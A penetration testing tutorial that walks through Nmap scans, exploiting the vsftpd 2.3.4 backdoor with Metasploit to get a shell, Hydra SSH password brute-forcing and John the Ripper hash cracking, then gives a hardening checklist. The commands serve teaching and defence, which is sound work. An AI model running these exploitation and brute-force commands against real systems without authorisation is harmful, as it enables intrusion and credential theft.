Ethical Hacking & Penetration Testing Guide: Kali Linux & Metasploit

Ethical hacking and defensive penetration testing are vital competencies in protecting modern enterprise infrastructure against ransomware, unauthorized intrusions, and data exfiltration. White-hat security engineers systematically emulate adversary tactics to discover, validate, and remediate vulnerabilities before malicious actors exploit them.

This technical guide takes you step-by-step through setting up Kali Linux, performing active network reconnaissance using Nmap, exploiting verified misconfigurations using the Metasploit Framework, and implementing defensive remediation controls.

1. The 5 Phases of Ethical Penetration Testing

1. Reconnaissance (OSINT & Scanning): Gathering host IP addresses, active services, DNS records, and open network ports.
2. Scanning & Vulnerability Assessment: Identifying outdated services, unpatched software (CVEs), and misconfigured protocols.
3. Gaining Access (Exploitation): Leveraging confirmed vulnerabilities to execute proof-of-concept shell payloads.
4. Maintaining Access & Post-Exploitation: Auditing local privileges, credentials, and internal subnet routing paths.
5. Remediation & Technical Reporting: Delivering detailed technical documentation with patch remediation roadmaps.

2. Network Reconnaissance with Nmap

Nmap (Network Mapper) is the industry-standard utility for network discovery, service identification, and OS fingerprinting.

# SYN stealth scan on the top 1000 ports with service version detection
sudo nmap -sS -sV -O 192.168.1.100

# Comprehensive scan with default NSE security scripts
sudo nmap -sC -sV -p- -T4 -oN target_scan.txt 192.168.1.100

# Scan specific subnet for live hosts using ARP/ICMP ping sweep
sudo nmap -sn 192.168.1.0/24

3. Practical Exploitation with Metasploit Framework (MSF)

Metasploit provides a modular architecture containing thousands of vetted exploits, payloads, encoders, and auxiliary scanners. Launch the console in Kali Linux:

# Start PostgreSQL database and Metasploit console
sudo systemctl start postgresql
msfconsole -q

Below is a typical workflow demonstrating vulnerability scanning and exploitation against an unpatched service:

# Search for an exploit module by CVE or software name
msf6 > search vsftpd 2.3.4

# Select the appropriate exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# Display and configure target parameters
msf6 exploit(vsftpd_234_backdoor) > show options
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.1.150
msf6 exploit(vsftpd_234_backdoor) > set RPORT 21

# Execute exploit and obtain an interactive shell
msf6 exploit(vsftpd_234_backdoor) > exploit

4. Credential Auditing with John the Ripper & Hydra

Auditing weak administrative passwords is vital for securing internal SSH, FTP, and web application endpoints:

# Network service brute-force audit against SSH using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.150 -t 4

# Password hash cracking using John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

5. Defensive Hardening & Remediation Checklist

• Disable Legacy Protocols: Terminate Telnet, FTP, SMBv1, and HTTP. Enforce SSH with public-key-only authentication and HTTPS with TLS 1.3.
• Automated Patch Management: Apply vendor security patches promptly across OS packages and application dependencies.
• Principle of Least Privilege (PoLP): Restrict administrative root access and configure Linux sudoers with granular command privileges.
• Network Segmentation & Firewalls: Use iptables/UFW and internal VLANs to prevent lateral attacker movement within server subnets.

Summary & Continuous Learning

True cybersecurity mastery requires understanding both attacker offensive tradecraft and defensive systems architecture. Build home lab environments using VirtualBox or Proxmox to practice hands-on exploits safely and sharpen your technical skills!